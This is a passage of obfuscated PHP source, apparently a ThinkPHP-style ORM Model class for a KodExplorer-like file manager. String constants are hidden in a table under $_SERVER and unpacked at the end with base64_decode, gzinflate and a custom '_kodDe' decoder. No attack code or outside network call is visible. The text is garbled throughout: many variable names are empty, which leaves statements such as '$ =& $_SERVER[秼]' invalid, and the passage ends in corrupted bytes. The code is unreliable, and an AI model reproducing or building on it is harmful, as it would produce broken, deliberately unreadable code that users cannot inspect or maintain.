$ݙݘ[53]; } else { $ .= $ݙݘ[51] . $혊[0] . $ݙݘ[53]; } } return $; } } goto cӵ; a: define($_SERVER[秼][319], 3); define($_SERVER[秼][320], 1); define($_SERVER[秼][321], 0); goto B; B: define($_SERVER[秼][322], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\141\x62\154\x65", "\157\162\x64\x65\162", "\x61\154\x69\x61\x73", "\x68\x61\x76\151\156\x67", "\x67\x72\x6f\165\160", "\154\x6f\143\x6b", "\x64\151\163\164\151\x6e\x63\164", "\141\165\x74\157", "\x66\x69\154\164\145\x72", "\166\141\154\x69\x64\x61\x74\x65", "\x72\145\x73\x75\154\164", "\142\x69\156\x64", "\x74\157\x6b\145\156"); public function __construct($¥ = '', $ٜ = '', $վ = '') { $܄ =& $_SERVER[秼]; $this->_initialize(); if (!empty($¥)) { if (strpos($¥, $܄[10])) { list($this->dbName, $this->name) = explode($܄[10], $¥); } else { $this->name = $¥; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ٜ)) { $this->tablePrefix = $܄[12]; } elseif ($܄[12] != $ٜ) { $this->tablePrefix = $ٜ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($܄[323]); } $this->db(0, empty($this->connection) ? $վ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[秼]; if (empty($this->fields)) { if (think_config($[324])) { $ = $this->dbName ? $this->dbName : think_config($[325]); $Ɓ = think_var_cache($[326] . strtolower(get_path_this($) . $[10] . $this->name)); if ($Ɓ) { $ʱ = think_config($[327]); if (empty($ʱ) || $Ɓ[$[328]] == $ʱ) { $this->fields = $Ɓ; return; } } } $this->flush(); } } public function flush() { $ԅ =& $_SERVER[秼]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ԅ[329]] = !1; foreach ($ as $ְ => $ʱ) { $ȯЇ[$ְ] = $ʱ[$ԅ[33]]; if ($ʱ[$ԅ[39]]) { $this->fields[$ԅ[330]] = $ְ; if ($ʱ[$ԅ[42]]) { $this->fields[$ԅ[329]] = !0; } } } $this->fields[$ԅ[331]] = $ȯЇ; if (think_config($ԅ[327])) { $this->fields[$ԅ[328]] = think_config($ԅ[327]); } if (think_config($ԅ[324])) { $ = $this->dbName ? $this->dbName : think_config($ԅ[325]); think_var_cache($ԅ[326] . strtolower(get_path_this($) . $ԅ[10] . $this->name), $this->fields); } } public function switchModel($̤, $ڦ = array()) { $۶ =& $_SERVER[秼]; $ɘ = ucwords(strtolower($̤)) . $۶[332]; if (!class_exists($ɘ)) { think_exception($ɘ . think_lang($۶[333])); } $this->_extModel = new $ɘ($this->name); if (!empty($ڦ)) { foreach ($ڦ as $۱) { $this->_extModel->setProperty($۱, $this->{$۱}); } } return $this->_extModel; } public function __set($, $ܙ) { $this->data[$] = $ܙ; } public function __get($ρ) { return isset($this->data[$ρ]) ? $this->data[$ρ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($φ, $) { $ËΌ =& $_SERVER[秼]; if (in_array(strtolower($φ), $this->methods, !0)) { $this->options[strtolower($φ)] = $[0]; return $this; } elseif (in_array(strtolower($φ), array($ËΌ[334], $ËΌ[335], $ËΌ[336], $ËΌ[337], $ËΌ[338]), !0)) { $Φ = isset($[0]) ? $[0] : $ËΌ[222]; $Φ = $this->db->parseKey($Φ); return $this->getField(strtoupper($φ) . $ËΌ[339] . $Φ . $ËΌ[340] . $φ, $ËΌ[334]); } elseif (strtolower(substr($φ, 0, 5)) == $ËΌ[341]) { $Φ = think_parse_name(substr($φ, 5)); $Û[$Φ] = $[0]; return $this->where($Û)->find(); } elseif (strtolower(substr($φ, 0, 10)) == $ËΌ[342]) { $ٲ = think_parse_name(substr($φ, 10)); $Û[$ٲ] = $[0]; return $this->where($Û)->getField($[1]); } elseif (isset($this->_scope[$φ])) { return $this->scope($φ, $[0]); } elseif (method_exists($this, $φ)) { array_unshift($, $φ); return call_user_func_array(array($this, $ËΌ[343]), $); } else { return call_user_func_array(array(parent, $φ), $); } } protected function call() { $Ί =& $_SERVER[秼]; $ï = func_get_args(); $ = array_shift($ï); $ӕ = $; if (is_array($)) { $ӕ = $[1]; $ = $[0]; } $գ۽ = count($ï) - 1; if (isset($ï[$գ۽]) && $ï[$գ۽] === $) { think_exception(__CLASS__ . $Ί[4] . $ . think_lang($Ί[344])); return; } $ï[] = $; if (method_exists($this, $Ί[345])) { $ = call_user_func_array(array($this, $Ί[346]), array($ӕ, $ï)); if (!is_null($) && $ !== !1) { return $; } } $߶ = call_user_func_array(array($this, $), $ï); if (method_exists($this, $Ί[347])) { $ = call_user_func_array(array($this, $Ί[348]), array($ӕ, $ï, $߶)); if ($) { return $; } } return $߶; } protected function _initialize() { } protected function _facade($) { $鏗 =& $_SERVER[秼]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($this->options[$鏗[349]])) { $ = array_map($this->options[$鏗[349]], $); unset($this->options[$鏗[349]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($죺 = '', $ڞ = array(), $ę = false) { if (empty($죺)) { if (!empty($this->data)) { $죺 = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[秼][350]); return !1; } } $ڞ = $this->_parseOptions($ڞ); $죺 = $this->_facade($죺); if (!1 === $this->_beforeInsert($죺, $ڞ)) { return !1; } $諱 = $this->db->insert($죺, $ڞ, $ę); if (!1 !== $諱) { $韸 = $this->getLastInsID(); if ($韸) { $죺[$this->getPk()] = $韸; $this->_after_insert($죺, $ڞ); return $韸; } $this->_after_insert($죺, $ڞ); } return $諱; } protected function _beforeInsert(&$Ǯ, $) { } protected function _after_insert($ީ, $) { } public function addAll($Ԙ, $ = array(), $ = false) { $ь =& $_SERVER[秼]; if (empty($Ԙ)) { $this->error = think_lang($ь[350]); return !1; } $ = $this->_parseOptions($); foreach ($Ԙ as $ => $ꠔ) { $Ԙ[$] = $this->_facade($ꠔ); } if (method_exists($this->db, $ь[351])) { $á = $this->db->insertAll($Ԙ, $, $); } else { $this->startTrans(); foreach ($Ԙ as $ => $ꠔ) { $á = $this->db->insert($ꠔ, $, $); } $this->commit(); } if (!1 !== $á) { $ = $this->getLastInsID(); if ($) { return $; } } return $á; } public function selectAdd($Ŕ = '', $߬ = '', $ = array()) { $ܨ =& $_SERVER[秼]; $ = $this->_parseOptions($); if (!1 === ($Ճ = $this->db->selectInsert($Ŕ ? $Ŕ : $[$ܨ[352]], $߬ ? $߬ : $this->getTableName(), $))) { $this->error = think_lang($ܨ[353]); return !1; } else { return $Ճ; } } public function save($Ւ۠ = '', $۰ = array()) { $ =& $_SERVER[秼]; if (empty($Ւ۠)) { if (!empty($this->data)) { $Ւ۠ = $this->data; $this->data = array(); } else { $this->error = think_lang($[350]); return !1; } } $Ւ۠ = $this->_facade($Ւ۠); $۰ = $this->_parseOptions($۰); $ = $this->getPk(); if (!isset($۰[$[354]])) { if (isset($Ւ۠[$])) { $[$] = $Ւ۠[$]; $۰[$[354]] = $; unset($Ւ۠[$]); } else { $this->error = think_lang($[353]); return !1; } } if (is_array($۰[$[354]]) && isset($۰[$[354]][$])) { $ = $۰[$[354]][$]; } if (!1 === $this->_beforeUpdate($Ւ۠, $۰)) { return !1; } $ߩ = $this->db->update($Ւ۠, $۰); if (!1 !== $ߩ) { if (isset($)) { $Ւ۠[$] = $; } $this->_afterUpdate($Ւ۠, $۰); } return $ߩ; } protected function _beforeUpdate(&$қ秳, $ζ) { } protected function _afterUpdate($Ľ, $߷) { } public function delete($ǫ = array()) { $ =& $_SERVER[秼]; if (empty($ǫ) && empty($this->options[$[354]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($ǫ) || is_string($ǫ)) { if (strpos($ǫ, $[50])) { $Ư[$] = array($[355], $ǫ); } else { $Ư[$] = $ǫ; } $this->options[$[354]] = $Ư; } $ǫ = $this->_parseOptions(); if (is_array($ǫ[$[354]]) && isset($ǫ[$[354]][$])) { $ = $ǫ[$[354]][$]; } $lj = $this->db->delete($ǫ); if (!1 !== $lj) { $ѼÓ = array(); if (isset($)) { $ѼÓ[$] = $; } $this->_after_delete($ѼÓ, $ǫ); } return $lj; } protected function _after_delete($Ϙ, $ǵ) { } public function select($ = array()) { $Ǿ =& $_SERVER[秼]; if (is_string($) || is_numeric($)) { $˝ = $this->getPk(); if (strpos($, $Ǿ[50])) { $Գ[$˝] = array($Ǿ[355], $); } else { $Գ[$˝] = $; } $this->options[$Ǿ[354]] = $Գ; } elseif (!1 === $) { $ = $this->_parseOptions(); return $Ǿ[356] . $this->db->buildSelectSql($) . $Ǿ[357]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $) { } public function buildSql($ = array()) { $ũ =& $_SERVER[秼]; $ = $this->_parseOptions($); return $ũ[356] . $this->db->buildSelectSql($) . $ũ[357]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($Ƨ = array()) { $ =& $_SERVER[秼]; if (is_array($Ƨ)) { $Ƨ = array_merge($this->options, $Ƨ); } $this->options = array(); if (!isset($Ƨ[$[358]])) { $Ƨ[$[358]] = $this->getTableName(); $ǩû = $this->fields; } else { $ǩû = $this->getDbFields(); } if (!empty($Ƨ[$[359]])) { $Ƨ[$[358]] .= $[53] . $Ƨ[$[359]]; } $Ƨ[$[360]] = $this->name; if (isset($Ƨ[$[354]]) && is_array($Ƨ[$[354]]) && !empty($ǩû) && !isset($Ƨ[$[361]]) && !isset($Ƨ[$[358]])) { foreach ($Ƨ[$[354]] as $ => $ב) { $ = trim($); if (in_array($, $ǩû, !0)) { if (is_scalar($ב)) { $this->_parseType($Ƨ[$[354]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[339]) && !1 === strpos($, $[214]) && !1 === strpos($, $[286])) { unset($Ƨ[$[354]][$]); } } } $this->_options_filter($Ƨ); return $Ƨ; } protected function _options_filter(&$) { } protected function _parseType(&$Ӌ, $) { $ =& $_SERVER[秼]; if (empty($this->options[$[362]][$[4] . $])) { $枤 = strtolower($this->fields[$[331]][$]); if (!1 !== strpos($枤, $[363])) { } elseif (!1 === strpos($枤, $[364]) && !1 !== strpos($枤, $[365])) { $Ӌ[$] = intval($Ӌ[$]); } elseif (!1 !== strpos($枤, $[366]) || !1 !== strpos($枤, $[367])) { $Ӌ[$] = floatval($Ӌ[$]); } elseif (!1 !== strpos($枤, $[368])) { $Ӌ[$] = (bool) $Ӌ[$]; } } } public function find($ = array()) { $塘 =& $_SERVER[秼]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$塘[354]] = $; } $this->options[$塘[369]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$塘[370]])) { return $this->returnResult($this->data, $this->options[$塘[370]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $߂ =& $_SERVER[秼]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $߂[371]: return json_encode($); case $߂[372]: return xml_encode($); } } return $; } public function parseFieldsMap($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $٧ => $Ӂ) { if ($ == 1) { if (isset($[$Ӂ])) { $[$٧] = $[$Ӂ]; unset($[$Ӂ]); } } else { if (isset($[$٧])) { $[$Ӂ] = $[$٧]; unset($[$٧]); } } } } return $; } public function setField($֤, $ = '') { if (is_array($֤)) { $ = $֤; } else { $[$֤] = $; } return $this->save($); } public function setAdd($̈, $ = 1) { $ =& $_SERVER[秼]; $͎Ә = $̈ . $[373] . $; if ($ < 0) { $͎Ә = $̈ . $; } return $this->setField($̈, array($[374], $͎Ә)); } public function getField($, $Х = null) { $ =& $_SERVER[秼]; $ɨ[$[352]] = $; $ɨ = $this->_parseOptions($ɨ); $ = trim($); if (strpos($, $[50])) { if (!isset($ɨ[$[369]])) { $ɨ[$[369]] = is_numeric($Х) ? $Х : $[12]; } $ƕΈ = $this->db->select($ɨ); if (!empty($ƕΈ)) { $Å = explode($[50], $); $ = array_keys($ƕΈ[0]); $ = array_shift($); $嗓 = array_shift($); $۟ = array(); $ۧ = count($Å); foreach ($ƕΈ as $) { $Ʃ씩 = $[$]; if (2 == $ۧ) { $۟[$Ʃ씩] = $[$嗓]; } else { $۟[$Ʃ씩] = is_string($Х) ? implode($Х, $) : $; } } return $۟; } } else { if (!0 !== $Х) { $ɨ[$[369]] = is_numeric($Х) ? $Х : 1; } if ($Х === $[334]) { unset($ɨ[$[369]]); } $ = $this->db->select($ɨ); if (!empty($)) { if ($Х === $[334]) { return reset($[0]); } if (!0 !== $Х && 1 == $ɨ[$[369]]) { return reset($[0]); } foreach ($ as $ј) { $[] = $ј[$]; } return $; } } return null; } public function create($ַ͋ = '', $ = '') { $ɏ =& $_SERVER[秼]; if (empty($ַ͋)) { $ַ͋ = $_POST; } elseif (is_object($ַ͋)) { $ַ͋ = get_object_vars($ַ͋); } if (empty($ַ͋) || !is_array($ַ͋)) { $this->error = think_lang($ɏ[350]); return !1; } $ַ͋ = $this->parseFieldsMap($ַ͋, 0); $ = $ ? $ : (!empty($ַ͋[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ɏ[352]])) { $ٜ = $this->options[$ɏ[352]]; unset($this->options[$ɏ[352]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ٜ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ٜ = $this->updateFields; } if (isset($ٜ)) { if (is_string($ٜ)) { $ٜ = explode($ɏ[50], $ٜ); } if (think_config($ɏ[375])) { $ٜ[] = think_config($ɏ[376]); } foreach ($ַ͋ as $侧 => $ޯ) { if (!in_array($侧, $ٜ)) { unset($ַ͋[$侧]); } } } if (!$this->autoValidation($ַ͋, $)) { return !1; } if (!$this->autoCheckToken($ַ͋)) { $this->error = think_lang($ɏ[377]); return !1; } if ($this->autoCheckFields) { $ٜ = $this->getDbFields(); foreach ($ַ͋ as $侧 => $ޯ) { if (!in_array($侧, $ٜ)) { unset($ַ͋[$侧]); } elseif (MAGIC_QUOTES_GPC && is_string($ޯ)) { $ַ͋[$侧] = stripslashes($ޯ); } } } $this->autoOperation($ַ͋, $); $this->data = $ַ͋; return $ַ͋; } public function autoCheckToken($Ǯ) { $Ȣ =& $_SERVER[秼]; if (isset($this->options[$Ȣ[378]]) && !$this->options[$Ȣ[378]]) { return !0; } if (think_config($Ȣ[375])) { $ = think_config($Ȣ[376]); if (!isset($Ǯ[$]) || Session::get($)) { return !1; } list($Ӓ, $) = explode($Ȣ[11], $Ǯ[$]); if ($ && Session::get($ . $Ȣ[10] . $Ӓ) === $) { Session::remove($ . $Ȣ[10] . $Ӓ); return !0; } if (think_config($Ȣ[379])) { Session::remove($ . $Ȣ[10] . $Ӓ); } return !1; } return !0; } public function regex($, $) { $˱ٝ =& $_SERVER[秼]; $㜮 = array($˱ٝ[380] => $˱ٝ[381], $˱ٝ[382] => $˱ٝ[383], $˱ٝ[384] => $˱ٝ[385], $˱ٝ[386] => $˱ٝ[387], $˱ٝ[388] => $˱ٝ[389], $˱ٝ[390] => $˱ٝ[391], $˱ٝ[392] => $˱ٝ[393], $˱ٝ[367] => $˱ٝ[394], $˱ٝ[395] => $˱ٝ[396]); if (isset($㜮[strtolower($)])) { $ = $㜮[strtolower($)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $ȶ) { $ڂ =& $_SERVER[秼]; if (!empty($this->options[$ڂ[397]])) { $֢ = $this->options[$ڂ[397]]; unset($this->options[$ڂ[397]]); } elseif (!empty($this->_auto)) { $֢ = $this->_auto; } if (isset($֢)) { foreach ($֢ as $Л) { if (empty($Л[2])) { $Л[2] = THINK_MODEL_INSERT; } if ($ȶ == $Л[2] || $Л[2] == THINK_MODEL_BOTH) { switch (trim($Л[3])) { case $ڂ[398]: case $ڂ[399]: $ = isset($Л[4]) ? (array) $Л[4] : array(); if (isset($[$Л[0]])) { array_unshift($, $[$Л[0]]); } if ($ڂ[398] == $Л[3]) { $[$Л[0]] = call_user_func_array($Л[1], $); } else { $[$Л[0]] = call_user_func_array(array(&$this, $Л[1]), $); } break; case $ڂ[352]: $[$Л[0]] = $[$Л[1]]; break; case $ڂ[400]: if ($ڂ[12] === $[$Л[0]]) { unset($[$Л[0]]); } break; case $ڂ[401]: default: $[$Л[0]] = $Л[1]; } if (!1 === $[$Л[0]]) { unset($[$Л[0]]); } } } } return $; } protected function autoValidation($, $) { $茏 =& $_SERVER[秼]; if (!empty($this->options[$茏[402]])) { $ɔ = $this->options[$茏[402]]; unset($this->options[$茏[402]]); } elseif (!empty($this->_validate)) { $ɔ = $this->_validate; } if (isset($ɔ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ɔ as $ => $Ƨ) { if (empty($Ƨ[5]) || $Ƨ[5] == THINK_MODEL_BOTH || $Ƨ[5] == $) { if (0 == strpos($Ƨ[2], $茏[403]) && strpos($Ƨ[2], $茏[404])) { $Ƨ[2] = think_lang(substr($Ƨ[2], 2, -1)); } $Ƨ[3] = isset($Ƨ[3]) ? $Ƨ[3] : THINK_EXISTS_VALIDATE; $Ƨ[4] = isset($Ƨ[4]) ? $Ƨ[4] : $茏[405]; switch ($Ƨ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $Ƨ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($茏[12] != trim($[$Ƨ[0]])) { if (!1 === $this->_validationField($, $Ƨ)) { return !1; } } break; default: if (isset($[$Ƨ[0]])) { if (!1 === $this->_validationField($, $Ƨ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ʮ徉, $̥) { if (!1 === $this->_validationFieldItem($ʮ徉, $̥)) { if ($this->patchValidate) { $this->error[$̥[0]] = $̥[2]; } else { $this->error = $̥[2]; return !1; } } return; } protected function _validationFieldItem($Ү, $ٗ) { $Ϝ̙ =& $_SERVER[秼]; switch (strtolower(trim($ٗ[4]))) { case $Ϝ̙[398]: case $Ϝ̙[399]: $ = isset($ٗ[6]) ? (array) $ٗ[6] : array(); if (is_string($ٗ[0]) && strpos($ٗ[0], $Ϝ̙[50])) { $ٗ[0] = explode($Ϝ̙[50], $ٗ[0]); } if (is_array($ٗ[0])) { foreach ($ٗ[0] as $Ք) { $[$Ք] = $Ү[$Ք]; } array_unshift($, $); } else { array_unshift($, $Ү[$ٗ[0]]); } if ($Ϝ̙[398] == $ٗ[4]) { return call_user_func_array($ٗ[1], $); } else { return call_user_func_array(array(&$this, $ٗ[1]), $); } case $Ϝ̙[406]: return $Ү[$ٗ[0]] == $Ү[$ٗ[1]]; case $Ϝ̙[407]: if (is_string($ٗ[0]) && strpos($ٗ[0], $Ϝ̙[50])) { $ٗ[0] = explode($Ϝ̙[50], $ٗ[0]); } $ = array(); if (is_array($ٗ[0])) { foreach ($ٗ[0] as $Ք) { $[$Ք] = $Ү[$Ք]; } } else { $[$ٗ[0]] = $Ү[$ٗ[0]]; } if (!empty($Ү[$this->getPk()])) { $[$this->getPk()] = array($Ϝ̙[408], $Ү[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($Ү[$ٗ[0]], $ٗ[1], $ٗ[4]); } } public function check($⫨, $أ, $ҵ = "\162\145\x67\x65\x78") { $ȳ =& $_SERVER[秼]; $ҵ = strtolower(trim($ҵ)); switch ($ҵ) { case $ȳ[7]: case $ȳ[409]: $Щ = is_array($أ) ? $أ : explode($ȳ[50], $أ); return $ҵ == $ȳ[7] ? in_array($⫨, $Щ) : !in_array($⫨, $Щ); case $ȳ[410]: case $ȳ[411]: if (is_array($أ)) { $ђʈ = $أ[0]; $ = $أ[1]; } else { list($ђʈ, $) = explode($ȳ[50], $أ); } return $ҵ == $ȳ[410] ? $⫨ >= $ђʈ && $⫨ <= $ : $⫨ < $ђʈ || $⫨ > $; case $ȳ[412]: case $ȳ[413]: return $ҵ == $ȳ[412] ? $⫨ == $أ : $⫨ != $أ; case $ȳ[414]: $ʊ = mb_strlen($⫨, $ȳ[415]); if (strpos($أ, $ȳ[50])) { list($ђʈ, $) = explode($ȳ[50], $أ); return $ʊ >= $ђʈ && $ʊ <= $; } else { return $ʊ == $أ; } case $ȳ[416]: list($䃺, $إ) = explode($ȳ[50], $أ); if (!is_numeric($䃺)) { $䃺 = strtotime($䃺); } if (!is_numeric($إ)) { $إ = strtotime($إ); } return NOW_TIME >= $䃺 && NOW_TIME <= $إ; case $ȳ[417]: return in_array(get_client_ip(), explode($ȳ[50], $أ)); case $ȳ[418]: return !in_array(get_client_ip(), explode($ȳ[50], $أ)); case $ȳ[405]: default: return $this->regex($⫨, $أ); } } public function query($ɶ, $ = false) { $ =& $_SERVER[秼]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ɶ = str_replace(array($[287], $[419]), $[53], $ɶ); $ɶ = $this->parseSql($ɶ, $); return $this->db->query($ɶ); } public function execute($Ӄ, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $Ӄ = $this->parseSql($Ӄ, $); return $this->db->execute($Ӄ); } protected function parseSql($Њӟ, $) { $婕 =& $_SERVER[秼]; if (!0 === $) { $ = $this->_parseOptions(); $Њӟ = $this->db->parseSql($Њӟ, $); } elseif (is_array($)) { $ = array_map(array($this->db, $婕[420]), $); $Њӟ = vsprintf($Њӟ, $); } else { $Њӟ = strtr($Њӟ, array($婕[421] => $this->getTableName(), $婕[422] => think_config($婕[323]))); } $this->db->setModel($this->name); return $Њӟ; } public function db($͒ᐳ = '', $ʉ = '', $ԅ = array()) { $Þ =& $_SERVER[秼]; if ($Þ[12] === $͒ᐳ && $this->db) { return $this->db; } static $ʮ = array(); static $ɮ = array(); if (!isset($ɮ[$͒ᐳ]) || isset($ɮ[$͒ᐳ]) && $ʉ && $ʮ[$͒ᐳ] != $ʉ) { if (!empty($ʉ) && is_string($ʉ) && !1 === strpos($ʉ, $Þ[8])) { $ʉ = think_config($ʉ); } $͒ᐳ = think_guid($ʉ); $ɮ[$͒ᐳ] = Db::getInstance($ʉ); } elseif (NULL === $ʉ) { $ɮ[$͒ᐳ]->close(); unset($ɮ[$͒ᐳ]); return; } if (!empty($ԅ)) { if (is_string($ԅ)) { parse_str($ԅ, $ԅ); } foreach ($ԅ as $ݸ => $) { $this->setProperty($ݸ, $); } } $ʮ[$͒ᐳ] = $ʉ; $this->db = $ɮ[$͒ᐳ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $悴 = get_class($this); if ($悴 == $_SERVER[秼][423]) { return $this->name; } $this->name = substr($悴, 0, -5); } return $this->name; } public function getTableName() { $ǒ =& $_SERVER[秼]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $ǒ[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $ǒ[10] : $ǒ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ѽ =& $_SERVER[秼]; return isset($this->fields[$ѽ[330]]) ? $this->fields[$ѽ[330]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[秼]; if (isset($this->options[$[358]])) { $Է = $this->db->getFields($this->options[$[358]]); return $Է ? array_keys($Է) : !1; } if ($this->fields) { $Է = $this->fields; unset($Է[$[329]], $Է[$[330]], $Է[$[331]], $Է[$[328]]); return $Է; } return !1; } public function data($ = '') { $ =& $_SERVER[秼]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[350])); } $this->data = $; return $this; } public function join($) { $ =& $_SERVER[秼]; if (is_array($)) { $this->options[$[361]] = $; } elseif (!empty($)) { $this->options[$[361]][] = $; } return $this; } public function union($Ȼ, $ = false) { $ȝ =& $_SERVER[秼]; if (empty($Ȼ)) { return $this; } if ($) { $this->options[$ȝ[424]][$ȝ[425]] = !0; } if (is_object($Ȼ)) { $Ȼ = get_object_vars($Ȼ); } if (is_string($Ȼ)) { $Ϳ = $Ȼ; } elseif (is_array($Ȼ)) { if (isset($Ȼ[0])) { $this->options[$ȝ[424]] = array_merge($this->options[$ȝ[424]], $Ȼ); return $this; } else { $Ϳ = $Ȼ; } } else { think_exception(think_lang($ȝ[350])); } $this->options[$ȝ[424]][] = $Ϳ; return $this; } public function cache($ = true, $ = null, $構 = '') { $ݨܬ =& $_SERVER[秼]; if (!1 !== $) { $this->options[$ݨܬ[426]] = array($ݨܬ[97] => $, $ݨܬ[416] => $, $ݨܬ[33] => $構); } return $this; } public function field($Ǭ, $ = false) { $ʧ =& $_SERVER[秼]; if (!0 === $Ǭ) { $ = $this->getDbFields(); $Ǭ = $ ? $ : $ʧ[222]; } elseif ($) { if (is_string($Ǭ)) { $Ǭ = explode($ʧ[50], $Ǭ); } $ = $this->getDbFields(); $Ǭ = $ ? array_diff($, $Ǭ) : $Ǭ; } $this->options[$ʧ[352]] = $Ǭ; return $this; } public function scope($ō = '', $ = NULL) { $ =& $_SERVER[秼]; if ($[12] === $ō) { if (isset($this->_scope[$[37]])) { $Ɉ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($ō)) { $ë = explode($[50], $ō); $Ɉ = array(); foreach ($ë as $) { if (!isset($this->_scope[$])) { continue; } $Ɉ = array_merge($Ɉ, $this->_scope[$]); } if (!empty($) && is_array($)) { $Ɉ = array_merge($Ɉ, $); } } elseif (is_array($ō)) { $Ɉ = $ō; } if (is_array($Ɉ) && !empty($Ɉ)) { $this->options = array_merge($this->options, array_change_key_case($Ɉ)); } return $this; } public function where($, $ɂ = null) { $ =& $_SERVER[秼]; if (!is_null($ɂ) && is_string($)) { if (!is_array($ɂ)) { $ɂ = func_get_args(); array_shift($ɂ); } $ɂ = array_map(array($this->db, $[420]), $ɂ); $ = vsprintf($, $ɂ); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $Ĥ) { if ((is_numeric($) || !$) && is_string($Ĥ)) { if (strpos($Ĥ, $[427]) === 0) { continue; } think_trace($[428], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ʷ = array(); $ʷ[$[429]] = $; $ = $ʷ; } if (isset($this->options[$[354]])) { $this->options[$[354]] = array_merge($this->options[$[354]], $); } else { $this->options[$[354]] = $; } return $this; } public function limit($ҷ, $楖 = null) { $ȸ =& $_SERVER[秼]; $this->options[$ȸ[369]] = is_null($楖) ? $ҷ : $ҷ . $ȸ[50] . $楖; return $this; } public function page($, $Ͻ = null) { $ =& $_SERVER[秼]; $this->options[$[430]] = is_null($Ͻ) ? $ : $ . $[50] . $Ͻ; return $this; } public function comment($֪) { $this->options[$_SERVER[秼][431]] = $֪; return $this; } public function setProperty($ը, $С) { if (property_exists($this, $ը)) { $this->{$ը} = $С; } return $this; } } $_file = $_SERVER[$_SERVER[秼][432]]; goto EԾǂ; EΙ݆: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xbc\x92\xe7\xa7\xbc\xb4", base64_decode('i/Xchamk')); $_SERVER[秼] = explode("\174\3\174\5\174\3", gzinflate(substr(base64_decode('H4sIAAAAAAAAE8V9CXhbxbUwewmlQCmFUkq5MQm2Ey22sztxgizLsRJZciQ5C7ajXEtX0o0=').base64_decode('JV1Z98pbEh5b2EJYCgRKUyjklaUFwhr2pawtW+GxlbZAabETSoFCX6EUSv9Zziz3Sob3f+8=').strrev('^rۏo'."\r".'q!x 